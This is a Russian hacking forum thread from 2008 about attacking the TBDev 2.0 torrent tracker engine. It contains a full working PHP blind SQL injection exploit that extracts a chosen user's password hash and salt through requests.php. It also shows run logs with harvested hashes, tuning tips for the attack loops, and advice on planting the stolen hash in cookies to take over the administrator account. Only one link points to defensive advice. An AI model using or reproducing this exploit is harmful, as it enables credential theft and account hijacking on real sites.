ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Трекер-движок TBDev 2.0 (https://forum.antichat.xyz/showthread.php?t=79705)

OMG!! 06.09.2008 21:58

Запустил..

Код:

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed

соль не подбирает.. значит дырку прикрыли? может существуют методы?

Qwazar 07.09.2008 04:51

Цитата:

Сообщение от OMG!!
Запустил..

Код:

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed

соль не подбирает.. значит дырку прикрыли? может существуют методы?

Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта:
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
2) Удалить всё между
Код:

echo "Trying to get passhash: ";
и
Код:

echo "Trying to get salt: ";
и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.

OMG!! 07.09.2008 14:16

Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю :

Цитата:

Trying to get your cookies... [DONE]
Trying to get passhash: Trying to get salt: z
Exploit failed
Код:

1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
как? :D ++++

Qwazar 08.09.2008 12:40

Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
Код:

for($j=49;$j<=57;$j++){
на
Код:

for($j=48;$j<=57;$j++){
.

OMG!! 08.09.2008 16:52

Цитата:

Сообщение от Qwazar
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
Код:

for($j=49;$j<=57;$j++){
на
Код:

for($j=48;$j<=57;$j++){
.

Попробовал.. как результат:

Цитата:

Trying to get your cookies... [DONE]
Trying to get passhash: 18a21e8e877feb58b5073b9b838b8db2 [DONE]
Trying to get salt:0z
Exploit failed
И на другой ID атака.. :

Цитата:

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt:00z
Exploit failed
Версия 2.0 вроде ) хеш же тащит..как вытащить соль?)) :p


все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )

Qwazar 08.09.2008 18:51

Замени кусок с солью, на:

Код:

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=65;$j<=90;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if($flag!=1) {
                for($j=97;$j<=122;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";

Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура.
Цитата:

Сообщение от ikolla$$
Можно поподробнее?И желательно совсем подробно.А лучше видио.

Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.

Qwazar 20.09.2008 01:24

Прошу прощения за то что долго не отвечал :)

Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

Код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function getcookie($url, $name, $password){
        $res = send_xpl($url,"takelogin.php?username=$name&password=$password");
        preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
        $uid=$matches[1];
        preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
        $passhash=$matches[1];
        $res = "uid=$uid; pass=$passhash;";
        if(isset($uid)&&isset($passhash))
                return $res;
        else
                return -1;
}

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="Cookie: $cookie\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($field, $condition, $pos){
        global $id;
        $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
        return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
        if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
                return 1;
        else
                return 0;

}

function isVulnerable($url) {
        if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
                return 1;
        else
                return 2;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
        while(true) {
                $M = floor($lb + ($ub-$lb)/2);
                if(cond($url, $field, '<', $pos, $M)==1) {
                        $ub = $M - 1;
                }
                else if(cond($url, $field, '>', $pos, $M)==1) {
                        $lb = $M + 1;
                }
                else
                        return chr($M);
                if($lb > $ub)
                        return -1;
        }
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
        echo "[DONE]\r\n";
else
        die("Can't get cookies.. Pass incorrect?\r\n");

if(!isVulnerable($url))
        die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){       
        $c = getChar($url, "passhash", $i, 47, 103);
        if($c==-1)
                die("\r\nExploit failed\r\n");
        else
                echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){       
        $c = getChar($url, "secret", $i);
        if($c==-1)
                die("\r\nExploit failed\r\n");
        else
                echo $c;
}
echo " [DONE]\r\n";


?>

Скачать можно тут: http://www.x2b.ru/get/3447

Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.

Red Virus 24.09.2008 00:15

Цитата:

Сообщение от DJ ][akep
Trying to get passhash: 4537fe63957cb67a4921ad56bdef5295 [DONE]
Trying to get salt: XiWVDJOsy4nSdjw2Iupr [DONE]
Вроде все норм прощло Только что с солью?

P.S. Если кто расхешыт кинте плз в пм с мну +++


вставь пас хеш в куки и будет тебе счастье :)

Qwazar 24.09.2008 01:03

Цитата:

Сообщение от DJ ][akep
Вроде все норм прощло Только что с солью?

А что не так с солью?

Как я уже писал:
Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Соль - 20 символов.

DJ ][akep 24.09.2008 16:28

Цитата:

Сообщение от Red Virus
вставь пас хеш в куки и будет тебе счастье :)

Непойму строение кукисов
Что первое
mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG 8HLAep9GAtyWu6

Объясни что сюда нужно править т.к. я в
pass - правил добытый експлоитом хэш
а в
uid поставил 1 (типо админа)
Но что в первом я непонял :(


Время: 20:36